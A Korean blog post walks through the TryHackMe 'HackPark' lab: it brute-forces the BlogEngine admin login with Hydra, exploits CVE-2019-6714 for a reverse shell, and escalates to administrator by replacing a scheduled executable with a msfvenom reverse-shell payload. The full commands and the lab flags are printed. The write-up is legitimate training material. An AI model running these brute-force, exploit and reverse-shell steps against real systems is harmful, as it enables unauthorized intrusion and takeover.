상세 컨텐츠

본문 제목

[TryHackMe] HackPark

Penetration/TryHackMe

by obscurity_ 2024. 9. 25. 09:12

본문

안녕하세요

이번에 풀어볼 머신은 HackPark입니다.

 

┌──(root㉿kali)-[~/hack/LAB/HackPark]
└─# nmap --open -p- --max-retries 1 --min-rate 4000 -Pn 10.10.178.192 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 07:08 KST
Nmap scan report for 10.10.178.192
Host is up (0.29s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server

 

서버에는 전체 포트 중 2개가 활성화 된 것을 확인했습니다.

우선 웹서버에 접속을 해보고 정찰하며 웹 디렉토리 브루트포스 공격을 합니다.

웹 서버에 접속하니 피에로 사진이 있는 사이트가 나왔고, 로그인 버튼을 누르자 아래와 같은

BlogEnging이라는 커스텀 로그인창이 나옵니다.

 

BlogEngine이라는 소프트웨어의 Default Password를 검색했는데 비밀번호를 변경했는지

로그인에는 성공하지 못했습니다.

혹시나 CVE가 존재하는지 싶어서 ExploitDB에 검색해봅니다.

 

사용할 수 있는 스크립트가 몇가지 존재하는데, 아마도 3.3.6 버전의 RCE 취약점이 유효할 것 같습니다.

또한 웹서버의 robots.txt에서 막고있는 확장자를 보니 aspx입니다.

 

https://www.exploit-db.com/exploits/46353

 

BlogEngine.NET 3.3.6 - Directory Traversal / Remote Code Execution

BlogEngine.NET 3.3.6 - Directory Traversal / Remote Code Execution EDB-ID: 46353 CVE: 2019-6714 Date: 2019-02-12

www.exploit-db.com

ExploitDB에서 확인한 3.3.6 이하의 버전에서는 RCE가 가능하다고 나왔는데,

현재 서버의 버전이 몇인지는 확인이 안 된 상태입니다.

이 상태에서 버전정보를 확인할 수도 있지만, 어차피 성공하나 실패하나 결국

둘 중 하나이기 때문에 굳이 버전 정보를 수집하지 않고 일단 공격을 해보겠습니다.

 

해당 페이지에서 문서를 읽어보면 PostView.ascx 파일로 이름을 변경한 뒤

칼리의 서버와 포트를 입력하고 업로드한 다음 아래와 같은 경로로 이용해서 파일을 실행하라고 합니다.

http://10.10.10.10/?theme=../../App_Data/files

 

파일을 업로드 하기 위해서 우선 관리자 계정을 찾아야 했는데,

이렇게 정보수집을 하는 가운대 사실 Hydra 도구를 이용해서 브루트포스 공격을 하고 있었습니다.

그러던 중 마침 관리자 계정을 크랙하는데 성공했습니다

┌──(root㉿kali)-[~/hack/LAB/HackPark]                                                                                                                                                         07:19:32 [1432/1478]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.178.192 http-post-form "/Account/login.aspx?ReturnURL=%2fadmin%2f:__VIEWSTATE=U98Ivb1bRBG%2Fhy5XerrKL03xCsOZonPxTh9VJZZ6g8E9cFo0YNnYmLCnEVwHa7ufOm%2F
KL717f%2FcbugSbXGoOuYshfv%2FUROnGJjb%2BtnGcg4R5gXXv0W9BMNidrdDPXC9IRMlNStD3BBZqjb1WxrIr9vFUrpk%2Bk1QdaOtYOpCblOnlcl%2BKm9gy0exXJc9%2FKMHNdcWyBp7WRYLKKR8p7msPFhFkSSQEvuJngFwJvWSLDnlbuorHPcji0FcJDI5tepGyK6N073Drq
At%2BbidO1rlxPTQyDZxZsUPIBV%2FnRv28F3X9nLBWuWHisP8TvKQNilejrwrOmccDbGQXM6uJrAvBtKpG6KYrPraAVPl26FbLj9%2B7S5Dr&__EVENTVALIDATION=LP7hUmIAaig%2FdH80n5BpZ1tlvb%2FgynezPOeoxdHeq%2BcytJ0FyDs9qmDloAggl5jQhh3kHOErRg4H
lwR3p7gg%2FdPoo%2Fw2xenXj7y%2FJdB4p%2FPZ0Cs4RkWEIlttPTYJh%2Bt5dp0lenf45QVsIc%2FBLjdTNa2o1NpgDAylG6pmsMc6MPWGoN85&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PAS
S^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:failed" -vV -f                                                                                                                                            
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).   
     .
     .
     .
[80][http-post-form] host: 10.10.178.192   login: admin   password: 1qaz2wsx
[STATUS] attack finished for 10.10.178.192 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-25 07:21:43

 

파일을 업로드 하는 경로 또한 지정이 되어있습니다.

 

문서에서는 /admin/app/editor/editpost.cshtml 경로에 삽입하라고 나옵니다.

이 경로가 관리자 계정으로 로그인 한 이후에 Posts를 눌렀을 때의 경로입니다.

즉 포스트를 발행할 때 이곳에 악성파일을 심어야지 RCE가 가능합니다.

 

 

위와 같이 피에로 게시글에 PostView.ascx 파일을 업로드 한 뒤 저장합니다.

그리고 RCE를 위해서 문서에서 지정한 경로로 접속을 시도합니다.

 

 

위와 같이 지정한 경로로 이동하기 전에 nc를 통해 포트를 열어두고 접속하니

리버스 쉘 연결에 성공한 것을 확인할 수 있습니다.

 

마찬가지로 침투한 이후 이대로 지속하는 것이 아닌 msfvenom을 통해서 미터프리터 쉘로 업그레이드를 합니다.

 

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set LHOST 10.10.178.192
LHOST => 10.10.178.192
msf6 exploit(multi/handler) > run

[-] Handler failed to bind to 10.10.178.192:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444

 

미터프리터에서 적당히 옵션을 조절해준 후 run을 눌러 포트를 열어둡니다.

그리고 다른 터미널에서는 msfvenom을 통해서 리버스쉘 실행파일을 생성해줍니다.

 

┌──(root㉿kali)-[~/hack/LAB/HackPark]
└─# msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai lhost=10.11.106.160 LPORT=4444 -f exe -o shell.exe

 

이제 이것을 certutil을 통해서 윈도우 터미널로 옮기고 실행해주면 

미터프리터 쉘이 연결된 것을 확인할 수 있습니다.

랩에서 winPEAS.bat을 통해서 자동 스크립트 진단을 하라고 권유하니 다운로드 받아봅니다.

참고로 Linpeas.sh와 동일한 사람이 만든 것이고 자동적인 진단을 해줍니다.

윈도우의 경우 리눅스와 진단 항목이 다르기 때문에 결과도 조금 다르지만

주요 시사점으로는 xfreerdp에 접속할 수 있는 계정이 발견될 경우 해당 계정의 계정정보와

자동으로 실행되는 프로세스가 있다면 그것을 알려줘서 해당 파일을 통해 권한상승 가능성을 알려줍니다.

 

저는 winPEAS를 사용하다가 너무 오래 걸려서 그냥 수동으로 찾았습니다.

 

 PID   PPID  Name                Arch  Session  User              Path
 ---   ----  ----                ----  -------  ----              ----
 0     0     [System Process]
 4     0     System
 348   672   svchost.exe
 368   4     smss.exe
 524   516   csrss.exe
 580   568   csrss.exe
 592   516   wininit.exe
 616   568   winlogon.exe
 672   592   services.exe
 680   592   lsass.exe
 740   672   svchost.exe
 784   672   svchost.exe
 868   672   svchost.exe
 884   616   dwm.exe
 904   672   svchost.exe
 964   672   svchost.exe
 1016  672   svchost.exe
 1132  672   spoolsv.exe
 1156  2560  shell.exe           x86   0        IIS APPPOOL\Blog  C:\Windows\Temp\shell.exe
 1176  672   amazon-ssm-agent.e
             xe
 1240  672   svchost.exe
 1272  672   LiteAgent.exe
 1328  672   svchost.exe
 1344  672   svchost.exe
 1424  672   WService.exe
 1548  1424  WScheduler.exe
 1644  672   Ec2Config.exe
 1744  740   WmiPrvSE.exe
 1852  1344  w3wp.exe            x64   0        IIS APPPOOL\Blog  C:\Windows\System32\inetsrv\w3wp.exe
 1928  1980  findstr.exe         x86   0        IIS APPPOOL\Blog  C:\Windows\SysWOW64\findstr.exe
 1980  1156  cmd.exe             x86   0        IIS APPPOOL\Blog  C:\Windows\SysWOW64\cmd.exe
 2024  672   msdtc.exe
 2100  672   svchost.exe
 2560  1852  cmd.exe             x64   0        IIS APPPOOL\Blog  C:\Windows\System32\cmd.exe
 2580  904   taskhostex.exe
 2652  2640  explorer.exe
 2700  2560  conhost.exe         x64   0        IIS APPPOOL\Blog  C:\Windows\System32\conhost.exe
 2760  1980  conhost.exe         x64   0        IIS APPPOOL\Blog  C:\Windows\System32\conhost.exe
 2768  2604  ServerManager.exe
 3016  1980  findstr.exe         x86   0        IIS APPPOOL\Blog  C:\Windows\SysWOW64\findstr.exe
 3040  2792  WScheduler.exe

 

서버에서 실행되는 프로세스의 목록을 나열했을 때

WScheduler.exe라는 이름의 프로세스가 두가지 실행되고 있음을 알 수 있습니다.

여기서 TryHackMe는 WScheduler가 이상함을 알았으니 스케줄러의 로그를 확인하라고 합니다.

로그는 C:\Program Files (x86)\SystemScheduler\Events 경로에서 확인할 수 있습니다.

 

09/24/24 16:27:01,Event Started Ok, (Administrator)
09/24/24 16:27:32,Process Ended. PID:2880,ExitCode:4,Message.exe (Administrator)
09/24/24 16:28:01,Event Started Ok, (Administrator)
09/24/24 16:28:33,Process Ended. PID:2732,ExitCode:4,Message.exe (Administrator)
09/24/24 16:29:01,Event Started Ok, (Administrator)
09/24/24 16:29:33,Process Ended. PID:1616,ExitCode:4,Message.exe (Administrator)
09/24/24 16:30:01,Event Started Ok, (Administrator)
09/24/24 16:30:33,Process Ended. PID:1384,ExitCode:4,Message.exe (Administrator)
09/24/24 16:31:02,Event Started Ok, (Administrator)
09/24/24 16:31:33,Process Ended. PID:2108,ExitCode:4,Message.exe (Administrator)
09/24/24 16:32:01,Event Started Ok, (Administrator)
09/24/24 16:32:33,Process Ended. PID:2520,ExitCode:4,Message.exe (Administrator)
09/24/24 16:33:02,Event Started Ok, (Administrator)
09/24/24 16:33:34,Process Ended. PID:1908,ExitCode:4,Message.exe (Administrator)
09/24/24 16:34:00,Event Started Ok, (Administrator)
09/24/24 16:34:32,Process Ended. PID:2192,ExitCode:4,Message.exe (Administrator)
09/24/24 16:35:01,Event Started Ok, (Administrator)
09/24/24 16:35:33,Process Ended. PID:2232,ExitCode:4,Message.exe (Administrator)
09/24/24 16:36:01,Event Started Ok, (Administrator)

 

로그를 확인해보니 30초마다 관리자 권한으로 Message.exe 파일이 실행되고 있음을 알 수 있습니다.

그래서 우리는 이곳에서 쓰기 권한이 존재한다면 Message.exe 파일을 덮어서

리버스 쉘 실행파일로 변경하여 백도어를 심을 수 있을 것 같습니다.

그러기 위해서는 파일을 작성할 권한이 있는지부터 체크해야 합니다.

icacls를 사용하여 현재 디렉토리에 어떤 권한이 있는지 체크합니다.

 

C:\Program Files (x86)\SystemScheduler>icacls .
icacls .
. Everyone:(OI)(CI)(M)
  NT SERVICE\TrustedInstaller:(I)(F)
  NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
  NT AUTHORITY\SYSTEM:(I)(F)
  NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
  BUILTIN\Administrators:(I)(F)
  BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
  BUILTIN\Users:(I)(RX)
  BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
  CREATOR OWNER:(I)(OI)(CI)(IO)(F)
  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)

Successfully processed 1 files; Failed processing 0 files

 

다행히 Message.exe 파일을 덮어 써야하는 디렉토리에 모든 사용자가 수정 권한이 존재합니다.

아래와 같이 msfvenom으로 리버스쉘 실행파일을 생성한 후 윈도우에 옮깁니다.

이때는 기존의 Message.exe파일을 다른 것으로 옮긴 후에 진행합니다.

 

┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.106.160 LPORT=1337 -f exe -o Message.exe
meterpreter > mv message.exe message.bat                                                                 
meterpreter > upload ~/hack/LAB/alfred/Message.exe                                                       
[*] Uploading  : /root/hack/LAB/alfred/Message.exe -> Message.exe                                        
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /root/hack/LAB/alfred/Message.exe -> Message.exe           
[*] Completed  : /root/hack/LAB/alfred/Message.exe -> Message.exe

 

미터프리터 쉘에서 기존의 Message.exe 파일을 변경한 후에 

msfvenom을 통해 생성한 Message.exe 파일을 스케줄러 경로에 업로드 해줍니다.

그리고 다른 터미널에서는 msfvenom에서 생성한 포트번호와 동일하게 nc로 포트를 열어둡니다.

30초마다 Message.exe가 관리자 권한으로 실행되기 때문에 30초를 기다리면

쉘이 연결되고 관리자 권한으로 접속이 됩니다.

 

┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.11.106.160] from (UNKNOWN) [10.10.207.131] 49229
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\PROGRA~2\SYSTEM~1>whoami
whoami

C:\PROGRA~2\SYSTEM~1>cd C:\users\administrator\desktop
cd C:\users\administrator\desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0E97-C552

 Directory of C:\Users\Administrator\Desktop

08/04/2019  11:49 AM    <DIR>          .
08/04/2019  11:49 AM    <DIR>          ..
08/04/2019  11:51 AM                32 root.txt
08/04/2019  04:36 AM             1,029 System Scheduler.lnk
               2 File(s)          1,061 bytes
               2 Dir(s)  39,124,418,560 bytes free

C:\Users\Administrator\Desktop>more root.txt
more root.txt
7e13d97f05f7ceb9881a3eb3d78d3e72

 

루트 플래그를 확인해주고 이어서 jeff 디렉토리로 이동하여 유저 플래그도 확인해줍니다.

 

 

 Directory of C:\Users\jeff\Desktop

08/04/2019  11:55 AM    <DIR>          .
08/04/2019  11:55 AM    <DIR>          ..
08/04/2019  11:57 AM                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)  39,124,418,560 bytes free

C:\Users\jeff\Desktop>more user.txt
more user.txt
759bd8af507517bcfaede78a21a73e39

'Penetration > TryHackMe' 카테고리의 다른 글

[TryHackMe] Daily Bugle  (2) 2024.09.26
[TryHackMe] Skynet  (2) 2024.09.26
[TryHackMe] Game Zone  (1) 2024.09.25
[TryHackMe] Alfred  (3) 2024.09.25
[TryHackMe] Vulnversity  (2) 2024.09.12

관련글 더보기